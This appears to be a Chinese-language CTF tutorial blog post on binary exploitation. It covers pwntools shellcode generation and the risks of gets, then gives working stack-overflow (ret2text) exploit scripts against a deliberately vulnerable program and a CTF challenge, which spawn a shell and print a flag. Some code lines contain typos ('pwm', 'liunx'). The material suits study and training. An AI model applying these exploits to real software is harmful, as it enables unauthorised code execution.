ShellCode
ShellCode 是一段机器码,主要用于启动一个命令行的shell 特征:
- 纯机器代码
- 位置无关代码
- 紧凑小巧
- 无空字节
使用 pwntool 生成对应 平台的shellcode
使用context 可以设置全局的配置环境,可以设置:
- 目标架构和操作系统
- 日志级别
- 终端设置
- 其他运行参数
以下是基本导入和设置
from pwm import *# 查看当前context
# 设置当前 contextcontext( arch = "i386", os = "liunx" )常用参数(arch)
- x86_64
- x86
- ARM
常用参数os
- liunx
- windows
常用参数 log_level
# 不同的日志级别context(log_level='debug') # 最详细,显示所有信息context(log_level='info') # 一般信息(默认)context(log_level='warn') # 只显示警告context(log_level='error') # 只显示错误context(log_level='critical') # 只显示严重错误
# 完全关闭日志context(log_level='silent')同时我们也可以通过 context.bits 查看系统的位宽
生成shell code
shellcode = asm(shellcraft.sh())其中 asm 方法是将汇编代码转化成机器码的方法,返回的是bytes对象,即原始机器码对象,同时生成的机器码也可以通过 disasm 方法进行反汇编
shellcraft.sh() 方法,是生成获取系统shell的shellcode
总结:
Shellcode 是指一小段机器码,如果题目提供的程序没有栈执行保护,可以优先使用 shellcode 注入来直接获取shell
基本的函数调用栈,
x86和x64 程序有以下一些区别:
- 对于 x86 程序:
- 绝大多数情况下,函数参数通过栈来传递
- 标准的C/C++ 调用约定(cdecl, stdcall) 完全使用栈传递参数
- fastcall 会使用寄存器传递前几个参数
- 对于 x64 程序:
- 前六个 整型或者指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中多余的会被一出到栈中
- 内存地址不能大于 0x00007FFFFFFFFFFF, 6 个字节长度 ,否则会抛出异常 (因为为了电路简化和提高性能和安全性)
gets和puts 函数
在 C 语言中,gets 和 puts 都是标准输入输出库(<stdio.h>)中用于处理字符串的函数。
- gets
从stdin 中读取字符串,直到遇到 \n 或者 EOF 为止.
char* gets(char* buf);但是不检测缓冲区数组的边界,如果输入的数组比目标数组长,会导致缓冲区溢出,所以可以利用这一点进行攻击,但是在现在的C11 标准中 这个函数已经被移除了
- puts
将字符串输出到 stdout ,并在末尾自动添加换行fu
int puts(const char* str);可以进行简单的字符串输出,比printf 高效,因为没有format操作
典型栈溢出
这是一个简单的程序
#include <stdio.h>
void backdoor(void){ puts("This back door");}
void vulnerable(void){ char s[12]; gets(s); puts(s); return;}
int main(void){ vulnerable(); return 0;}gcc -fno-stack-protector -no-pie ./stackflow.c -o ./stackflow将其拖入IDA 中分析 发现缓冲区s 到 ret 的偏移为20 所以我们可以构建如下脚本
from pwn import *context(arch='amd64', os='linux', log_level='info')
elf = ELF("./stackflow") # 获取 该文件的保护措施
backdoor_addr = elf.symbols['backdoor'] # 获取backdoor 的地址print(f"后门函数地址 {hex(backdoor_addr)}")
offset = 20
payload = b'a' * offset + p64(backdoor_addr) # 构建payload
p = process('./stackflow') # 启动程序p.sendline(payload) # 发送payloadoutput = p.recvall(timeout = 2) # 接受程序输出print(output)例题: 2 EZtext
将题目中获取的pwn 文件,拖入ida 发现一个后门函数 treasure, 同时在函数overflow 中发现危险函数 read,我们可以利用这一点将 返回地址 覆盖为 treasure的地址
int __fastcall overflow(int n7){ _BYTE buf[8]; // [rsp+18h] [rbp-8h] BYREF
if ( n7 <= 7 ) return puts("Come on, you can't even fill up this array?"); read(0, buf, n7); return puts("OK,I receive your byte.and then?");}通过对于buf 的分析 发现 偏移值为16
-0000000000000008 _BYTE buf[8];+0000000000000000 _QWORD __saved_registers;+0000000000000008 _UNKNOWN *__return_address;于是可以构建出如下脚本
from pwn import *context(arch='amd64', os='linux', log_level='info')
elf = ELF("./pwn")
offset = 16backdoor_addr = elf.symbols["treasure"]
print(f"后门函数地址 {hex(backdoor_addr)}")
ret = 0x40122d # 指定一个其他地址 防止产生EOF 错误payload = b'a' * offset + p64(ret) + p64(backdoor_addr)
# p = process("./pwn")p = remote("127.0.0.1", 44465)
p.recvuntil(b"Then how many bytes do you need to overflow the stack?\n")p.sendline(b"64")p.send(payload)p.interactive() # 交互成果过去shell 得到flag:moectf{R3T2t3Xt_is-THE-StARt_0F_ROp26069ba}
总结:
面对此类题目:
- 尝试寻找会导致栈溢出的危险函数
- 通过 ida 静态分析 溢出变量到 ret 的偏移量
- 定位后门函数
- 计算偏移量
- 绕过保护机制 构建payload
栈溢出的主要目的就是将缓冲区等区域写入数据时候,超出边界,覆盖相邻栈的内存来(比如保存的寄存器,返回地址),来达到修改程序的作用
常见的危险函数, 输入:
- gets
- scanf 输出:
- sprintf 字符串:
- strcpy, 字符串赋值,遇到\x00 停止
- strcat 字符串拼接 \x00
- bcopy
注意:在远程连接的时候记得尝试打印一下程序的输出,有些时候程序的在本地的输出与在服务端的输出是不一样的
a = p.recv()print(a)如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










